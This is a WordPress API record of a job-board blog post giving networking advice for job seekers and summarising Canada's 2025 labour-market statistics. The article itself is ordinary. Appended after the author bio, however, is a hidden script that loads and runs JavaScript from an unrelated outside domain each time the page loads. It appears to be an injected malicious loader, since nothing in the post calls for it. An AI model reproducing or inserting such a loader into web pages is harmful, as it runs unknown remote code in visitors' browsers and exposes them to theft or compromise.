{"id":226,"date":"2025-08-14T10:00:00","date_gmt":"2025-08-14T17:00:00","guid":{"rendered":"https:\/\/www.bcjobs.ca\/career-advice\/networking-for-work-six-degrees-of-separation\/"},"modified":"2025-10-21T01:43:04","modified_gmt":"2025-10-21T08:43:04","slug":"networking-in-2025","status":"publish","type":"post","link":"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/","title":{"rendered":"Networking in 2025: Building Meaningful Connections for Career Growth"},"content":{"rendered":"<p data-start=\"280\" data-end=\"536\">Let\u2019s be real, networking in 2025 can feel scary. Talking to new people or asking for help might seem awkward. Some of us aren\u2019t naturally outgoing. But here\u2019s the good news: even if you feel nervous, networking is one of the best things you can do for your career.<\/p><div id=\"ez-toc-container\" class=\"ez-toc-v2_0_50 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\" role=\"button\"><label for=\"item-6a0b3247d2eb7\" aria-hidden=\"true\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-6a0b3247d2eb7\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Here%E2%80%99s_Something_to_Think_About\" title=\"Here\u2019s Something to Think About\">Here\u2019s Something to Think About<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#What_Happens_If_You_Don%E2%80%99t_Take_Action\" title=\"What Happens If You Don\u2019t Take Action\">What Happens If You Don\u2019t Take Action<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Six_Degrees_of_Connection\" title=\"Six Degrees of Connection\">Six Degrees of Connection<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#What%E2%80%99s_Happening_in_Canada%E2%80%99s_Job_Market_in_2025\" title=\"What\u2019s Happening in Canada\u2019s Job Market in 2025?\">What\u2019s Happening in Canada\u2019s Job Market in 2025?<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Jobs_Are_Back_on_the_Rise\" title=\"Jobs Are Back on the Rise\">Jobs Are Back on the Rise<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Wages_Are_Going_Up\" title=\"Wages Are Going Up\">Wages Are Going Up<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Some_Provinces_Are_Doing_Better\" title=\"Some Provinces Are Doing Better\">Some Provinces Are Doing Better<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Job_Postings_Are_Fewer\" title=\"Job Postings Are Fewer\">Job Postings Are Fewer<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#What_This_Means_for_Your_Networking_in_2025_in_Canada\" title=\"What This Means for Your Networking in 2025 in Canada\">What This Means for Your Networking in 2025 in Canada<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Hidden_Jobs_Are_Everywhere_in_Canada\" title=\"Hidden Jobs Are Everywhere in Canada\">Hidden Jobs Are Everywhere in Canada<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Leverage_Referrals_and_Informational_Interviews\" title=\"Leverage Referrals and Informational Interviews\">Leverage Referrals and Informational Interviews<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Focus_on_Industries_That_Are_Hiring\" title=\"Focus on Industries That Are Hiring\">Focus on Industries That Are Hiring<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Tailor_Regionally\" title=\"Tailor Regionally\">Tailor Regionally<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Actionable_Tips_How_to_Network_Smarter_in_Canada_in_2025\" title=\"Actionable Tips: How to Network Smarter in Canada in 2025\">Actionable Tips: How to Network Smarter in Canada in 2025<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Be_Proactive_and_Genuine\" title=\"Be Proactive and Genuine\">Be Proactive and Genuine<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Attend_Events_and_Build_Face-to-Face_Connections\" title=\"Attend Events and Build Face-to-Face Connections\">Attend Events and Build Face-to-Face Connections<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Use_Social_Media%E2%80%94and_Use_It_Well\" title=\"Use Social Media\u2014and Use It Well\">Use Social Media\u2014and Use It Well<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Keep_Informational_Interviews_Short_and_Respectful\" title=\"Keep Informational Interviews Short and Respectful\">Keep Informational Interviews Short and Respectful<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Upskill_Strategically\" title=\"Upskill Strategically\">Upskill Strategically<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Be_Ready_with_a_Great_Resume_and_Elevator_Pitch\" title=\"Be Ready with a Great Resume and Elevator Pitch\">Be Ready with a Great Resume and Elevator Pitch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Prioritize_Your_Well%E2%80%91being\" title=\"Prioritize Your Well\u2011being\">Prioritize Your Well\u2011being<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Why_It_All_Adds_Up\" title=\"Why It All Adds Up\">Why It All Adds Up<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#Want_to_go_deeper\" title=\"Want to go deeper?\">Want to go deeper?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.bcjobs.ca\/blog\/networking-in-2025\/#About_the_Author\" title=\"About the Author\">About the Author<\/a><\/li><\/ul><\/nav><\/div>\n\n<p data-start=\"538\" data-end=\"639\">It doesn\u2019t have to be perfect. It just has to be <strong data-start=\"587\" data-end=\"595\">real<\/strong>. The more you practice, the easier it gets.<\/p>\n<h3 data-start=\"641\" data-end=\"676\"><span class=\"ez-toc-section\" id=\"Here%E2%80%99s_Something_to_Think_About\"><\/span>Here\u2019s Something to Think About<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"678\" data-end=\"853\">Referrals are still one of the top ways people land jobs. Around 40% of roles are filled by current employees. For the rest, more than <strong data-start=\"813\" data-end=\"823\">1 in 4<\/strong> are hired through a referral.<\/p>\n<p data-start=\"855\" data-end=\"965\">Online job boards? They help less than 7% of people find jobs. Many studies put that number closer to just 3%.<\/p>\n<p data-start=\"967\" data-end=\"1171\">Even more surprising\u2014<strong data-start=\"988\" data-end=\"1027\">85% of jobs in Canada aren\u2019t posted<\/strong> anywhere. That means your next job might already exist&#8230; you just haven\u2019t heard about it yet. And someone in your network might know about it.<\/p>\n<h3 data-start=\"1173\" data-end=\"1214\"><span class=\"ez-toc-section\" id=\"What_Happens_If_You_Don%E2%80%99t_Take_Action\"><\/span>What Happens If You Don\u2019t Take Action<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1216\" data-end=\"1346\">If you use the right job search tools\u2014like a strong resume, better interviews, and smart networking\u2014you can find work much faster.<\/p>\n<p data-start=\"1348\" data-end=\"1502\">Research shows these tools can cut your job search in half. Instead of six months, you might find a job in three. That means three extra months of income.<\/p>\n<p data-start=\"1504\" data-end=\"1597\">Not only that, but people who network tend to get <strong data-start=\"1554\" data-end=\"1569\">paid better<\/strong>\u2014on average, about 23% more.<\/p>\n<h3 data-start=\"1599\" data-end=\"1628\"><span class=\"ez-toc-section\" id=\"Six_Degrees_of_Connection\"><\/span>Six Degrees of Connection<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1630\" data-end=\"1835\">You\u2019ve probably heard of the idea that everyone is just six steps away from knowing anyone. That\u2019s great news if you&#8217;re job hunting. Your goal is to connect with people working in places or roles you want.<\/p>\n<p data-start=\"1837\" data-end=\"1976\">Let\u2019s say you want a job in IT. If your neighbor knows the city\u2019s IT director, that\u2019s your chance. But they won\u2019t help unless you speak up.<\/p>\n<p data-start=\"1978\" data-end=\"2253\">The truth is, until you tell people what you\u2019re looking for, they can\u2019t help. That receptionist at your dentist\u2019s office? Maybe she\u2019s filling in for her cousin, who\u2019s the hiring manager at a local startup. That guy you sit next to on the bus? Maybe he works in HR at Shopify.<\/p>\n<p data-start=\"2255\" data-end=\"2425\">These are real chances\u2014but only if you <strong data-start=\"2294\" data-end=\"2311\">start talking<\/strong>. Ask questions. Share your goals. Tell your story. People are often happy to help\u2014you just have to let them know.<\/p>\n<p data-start=\"2427\" data-end=\"2501\">Good things don\u2019t happen by accident. You need to make moves to make luck.<\/p>\n<h3 data-start=\"2508\" data-end=\"2560\"><span class=\"ez-toc-section\" id=\"What%E2%80%99s_Happening_in_Canada%E2%80%99s_Job_Market_in_2025\"><\/span>What\u2019s Happening in Canada\u2019s Job Market in 2025?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2562\" data-end=\"2642\">Let\u2019s look at the latest job numbers and trends in Canada, using data from 2025.<\/p>\n<h4 data-start=\"2644\" data-end=\"2674\"><span class=\"ez-toc-section\" id=\"Jobs_Are_Back_on_the_Rise\"><\/span>Jobs Are Back on the Rise<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2676\" data-end=\"2888\">In June 2025, Canada added <strong data-start=\"2703\" data-end=\"2727\">over 83,000 new jobs<\/strong>\u2014the first big boost in five months. Most new jobs were part-time. Still, it\u2019s a positive shift. The <strong data-start=\"2828\" data-end=\"2862\">unemployment rate fell to 6.9%<\/strong>, which surprised experts.<\/p>\n<p data-start=\"2890\" data-end=\"2916\">Biggest job gains were in:<\/p>\n<ul data-start=\"2917\" data-end=\"3132\">\n<li data-start=\"2917\" data-end=\"2958\">\n<p data-start=\"2919\" data-end=\"2958\"><strong data-start=\"2919\" data-end=\"2943\">Retail and wholesale<\/strong> (+33,600 jobs)<\/p>\n<\/li>\n<li data-start=\"2959\" data-end=\"3001\">\n<p data-start=\"2961\" data-end=\"3001\"><strong data-start=\"2961\" data-end=\"2991\">Healthcare and social work<\/strong> (+16,700)<\/p>\n<\/li>\n<li data-start=\"3002\" data-end=\"3132\">\n<p data-start=\"3004\" data-end=\"3132\"><strong data-start=\"3004\" data-end=\"3021\">Manufacturing<\/strong> (+10,500)<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"3004\" data-end=\"3132\"><a class=\"cursor-pointer\" href=\"https:\/\/www150.statcan.gc.ca\/n1\/daily-quotidien\/250711\/dq250711a-eng.htm\" target=\"_blank\" rel=\"noopener\" data-start=\"3037\" data-end=\"3132\">See full stats here<\/a><\/p>\n<h4 data-start=\"3134\" data-end=\"3157\"><span class=\"ez-toc-section\" id=\"Wages_Are_Going_Up\"><\/span>Wages Are Going Up<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"3159\" data-end=\"3313\">The average <strong data-start=\"3171\" data-end=\"3186\">hourly wage<\/strong> in Canada hit <strong data-start=\"3201\" data-end=\"3211\">$37.22<\/strong> for permanent workers. That\u2019s up 3.2% from last year. Average <strong data-start=\"3274\" data-end=\"3288\">weekly pay<\/strong> is now about <strong data-start=\"3302\" data-end=\"3312\">$1,294<\/strong>.<\/p>\n<h4 data-start=\"3315\" data-end=\"3351\"><span class=\"ez-toc-section\" id=\"Some_Provinces_Are_Doing_Better\"><\/span>Some Provinces Are Doing Better<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"3353\" data-end=\"3508\">B.C., Alberta, and Ontario are growing. But provinces like Newfoundland still face higher unemployment (up to 9.9%). Where you live makes a big difference.<\/p>\n<p data-start=\"3510\" data-end=\"3622\"><a class=\"cursor-pointer\" href=\"https:\/\/www.roberthalf.com\/ca\/en\/insights\/research\/june-2025-labour-force-survey\" target=\"_blank\" rel=\"noopener\" data-start=\"3513\" data-end=\"3622\">Provincial breakdown here<\/a><\/p>\n<h4 data-start=\"3624\" data-end=\"3651\"><span class=\"ez-toc-section\" id=\"Job_Postings_Are_Fewer\"><\/span>Job Postings Are Fewer<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"3653\" data-end=\"3835\">Right now, there are <strong data-start=\"3674\" data-end=\"3691\">fewer job ads<\/strong> than in past years. As of May, job openings dropped to <strong data-start=\"3747\" data-end=\"3758\">478,000<\/strong>, the lowest since 2017. That means more people are competing for fewer jobs.<\/p>\n<p data-start=\"3837\" data-end=\"3934\"><a href=\"https:\/\/www150.statcan.gc.ca\/n1\/daily-quotidien\/250731\/dq250731b-eng.htm\" target=\"_blank\" rel=\"noopener\">Job vacancy report<\/a><\/p>\n<h3 data-start=\"1488\" data-end=\"1546\"><span class=\"ez-toc-section\" id=\"What_This_Means_for_Your_Networking_in_2025_in_Canada\"><\/span>What This Means for Your Networking in 2025 in Canada<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h4 data-start=\"1548\" data-end=\"1589\"><span class=\"ez-toc-section\" id=\"Hidden_Jobs_Are_Everywhere_in_Canada\"><\/span>Hidden Jobs Are Everywhere in Canada<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"1591\" data-end=\"1711\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Up to <a href=\"https:\/\/moving2canada.com\/work\/finding-jobs\/career-resources\/hidden-jobs-market-in-canada\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><strong data-start=\"6\" data-end=\"37\">85\u202fpercent of Canadian jobs<\/strong> <\/a>are never formally posted. That makes networking and referrals absolutely key<\/span>. <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Whether you\u2019re shifting industries or just moving cities, tapping into this hidden market can give you a serious edge.<\/span><\/p>\n<h4 data-start=\"1713\" data-end=\"1765\"><span class=\"ez-toc-section\" id=\"Leverage_Referrals_and_Informational_Interviews\"><\/span>Leverage Referrals and Informational Interviews<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"1767\" data-end=\"1887\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Referrals continue to be one of the <strong data-start=\"36\" data-end=\"61\">most effective routes<\/strong> into companies\u2014particularly when internal hiring and passive openings combine<\/span>. <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">And reaching out for <strong data-start=\"21\" data-end=\"49\">informational interviews<\/strong>, even without job openings, helps you make connections and visibility, plus you get the inside scoop on what hiring managers are really looking for.<\/span><\/p>\n<h4 data-start=\"1889\" data-end=\"1929\"><span class=\"ez-toc-section\" id=\"Focus_on_Industries_That_Are_Hiring\"><\/span>Focus on Industries That Are Hiring<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"1931\" data-end=\"2011\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">The <strong data-start=\"4\" data-end=\"93\">manufacturing, retail, healthcare, professional services, marketing, and tech sectors<\/strong> are driving job growth in 2025. If your skills align with those areas, focus your networking and applications accordingly.<\/span><\/p>\n<h4 data-start=\"2013\" data-end=\"2035\"><span class=\"ez-toc-section\" id=\"Tailor_Regionally\"><\/span>Tailor Regionally<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2037\" data-end=\"2117\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Employment growth is stronger in <strong data-start=\"33\" data-end=\"93\">Ontario, Alberta, Manitoba, Quebec, and British Columbia<\/strong>, while some Atlantic provinces are lagging. Target events, meetups, and contacts in provinces where hiring is more active\u2014and consider relocation if that&#8217;s an option.<\/span><\/p>\n<h3 data-start=\"2124\" data-end=\"2185\"><span class=\"ez-toc-section\" id=\"Actionable_Tips_How_to_Network_Smarter_in_Canada_in_2025\"><\/span>Actionable Tips: How to Network Smarter in Canada in 2025<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h4 data-start=\"2187\" data-end=\"2216\"><span class=\"ez-toc-section\" id=\"Be_Proactive_and_Genuine\"><\/span>Be Proactive and Genuine<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2218\" data-end=\"2298\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Contact companies you&#8217;re interested in\u2014even if they don\u2019t have <a href=\"https:\/\/www.bcjobs.ca\/\" target=\"_blank\" rel=\"noopener\">current job openings<\/a>. A personalized message sharing how you could help solve a problem can open doors. Follow up politely if you don\u2019t get a reply; persistence shows initiative.<\/span><\/p>\n<h4 data-start=\"2300\" data-end=\"2353\"><span class=\"ez-toc-section\" id=\"Attend_Events_and_Build_Face-to-Face_Connections\"><\/span>Attend Events and Build Face-to-Face Connections<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2355\" data-end=\"2475\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Studio-style stats show that <strong data-start=\"29\" data-end=\"90\">80\u202fpercent of professionals consider networking essential<\/strong>, and nearly 100\u202fpercent say face-to-face meetings build stronger relationships in the long term.<\/span><\/p>\n<p data-start=\"2355\" data-end=\"2475\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Local meetups, industry conferences, webinars, and even volunteering at events can help you build more natural, lasting connections. It\u2019s about quality, not quantity.<\/span><\/p>\n<h4 data-start=\"2477\" data-end=\"2514\"><span class=\"ez-toc-section\" id=\"Use_Social_Media%E2%80%94and_Use_It_Well\"><\/span>Use Social Media\u2014and Use It Well<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2516\" data-end=\"2555\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">LinkedIn is more than a resume\u2014it\u2019s a networking platform. Engage in discussions in industry groups, post insights, and show your personality. Twitter and niche forums in your field can also help you stand out and connect organically with recruiters or professionals.<\/span><\/p>\n<h4 data-start=\"2557\" data-end=\"2612\"><span class=\"ez-toc-section\" id=\"Keep_Informational_Interviews_Short_and_Respectful\"><\/span>Keep Informational Interviews Short and Respectful<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2614\" data-end=\"2653\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">A quick 15\u2011minute chat can help you gather intel, learn about hiring trends, and get a name or two for referrals. Just be polite, express curiosity, and keep it low pressure. And always send a thank\u2011you note afterward.<\/span><\/p>\n<h4 data-start=\"2655\" data-end=\"2681\"><span class=\"ez-toc-section\" id=\"Upskill_Strategically\"><\/span>Upskill Strategically<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2683\" data-end=\"2763\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Since sectors like tech, marketing, and customer data analysis are booming in 2025, consider short certifications or micro\u2011credentials to boost your appeal\u2014especially in fields like digital marketing, UX design, HR tech or data visualization.<\/span><\/p>\n<h4 data-start=\"2765\" data-end=\"2817\"><span class=\"ez-toc-section\" id=\"Be_Ready_with_a_Great_Resume_and_Elevator_Pitch\"><\/span>Be Ready with a Great Resume and Elevator Pitch<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2819\" data-end=\"2858\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Personalize resumes to highlight results and keywords where possible. And have a concise statement ready (\u201cI\u2019m transitioning into IT because I love solving business problems\u2026\u201d). Make it conversational and honest.<\/span><\/p>\n<h4 data-start=\"2860\" data-end=\"2891\"><span class=\"ez-toc-section\" id=\"Prioritize_Your_Well%E2%80%91being\"><\/span>Prioritize Your Well\u2011being<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2893\" data-end=\"2932\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Job searching and networking can feel exhausting. Schedule rest, exercise, social time. Celebrate small wins\u2014like getting on a call or attending a new event. It helps keep momentum.<\/span><\/p>\n<h3 data-start=\"2939\" data-end=\"2961\"><span class=\"ez-toc-section\" id=\"Why_It_All_Adds_Up\"><\/span>Why It All Adds Up<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2963\" data-end=\"3002\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">With the job market still evolving in 2025\u2014cooling vacancies, mixed full\u2011time\/part\u2011time shifts, and lots of provincial variation\u2014networking is more critical than ever. Referrals and the hidden job market are <strong data-start=\"208\" data-end=\"246\">by far the largest hiring channels<\/strong> in Canada, outperforming job boards and cold applications.<\/span><\/p>\n<p data-start=\"3004\" data-end=\"3043\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">By combining genuine relationships, targeted outreach, and market-smart skills, you give yourself the best chance of landing a role\u2014even one that isn\u2019t advertised publicly.<\/span><\/p>\n<h3 data-start=\"3050\" data-end=\"3072\"><span class=\"ez-toc-section\" id=\"Want_to_go_deeper\"><\/span>Want to go deeper?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"3074\" data-end=\"3235\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">For more on uncovering hidden opportunities check out Moving2Canada\u2019s guide on <a href=\"https:\/\/moving2canada.com\/work\/finding-jobs\/career-resources\/hidden-jobs-market-in-canada\" target=\"_new\" rel=\"noopener noreferrer\" data-start=\"79\" data-end=\"212\" data-is-last-node=\"\">finding the hidden jobs market in Canada<\/a><\/span>. <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">If you&#8217;re curious about current hiring trends across technology, sales and marketing, here\u2019s a great overview: <a href=\"https:\/\/talenttank.com\/for-employers\/2025-hiring-trends-in-canada-technology-sales-marketing\" target=\"_blank\" rel=\"noopener noreferrer\" data-start=\"111\" data-end=\"235\" data-is-last-node=\"\">2025 hiring trends in Canada<\/a><\/span>.<\/p>\n<hr \/>\n<h3><span class=\"ez-toc-section\" id=\"About_the_Author\"><\/span><b><i>About the Author<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"3074\" data-end=\"3235\"><a href=\"http:\/\/www.bcjobs.ca\"><span style=\"font-weight: 400;\">BCjobs.ca<\/span><\/a><span style=\"font-weight: 400;\"> is Western Canada\u2019s largest job board, with a majority of the jobs coming from Vancouver. For over 20 years, BCJobs has connected job candidates with companies looking to add talent to their teams. Support the local job market by using<\/span><a href=\"http:\/\/www.bcjobs.ca\"> <span style=\"font-weight: 400;\">BCJobs.ca.<\/span><\/a><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Many people are daunted by the prospect of establishing a new relationship, or leveraging an existing one, as a career strategy. Not all are born communicators, not all are outgoing by nature. No matter how awkward or painful your initial attempts, there are compelling reasons to begin practicing networking.<\/p>\n","protected":false},"author":109,"featured_media":10692,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[],"class_list":["post-226","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-networking-advice"],"_links":{"self":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/226","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/comments?post=226"}],"version-history":[{"count":6,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/226\/revisions"}],"predecessor-version":[{"id":10747,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/226\/revisions\/10747"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/media\/10692"}],"wp:attachment":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/media?parent=226"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/categories?post=226"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/tags?post=226"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}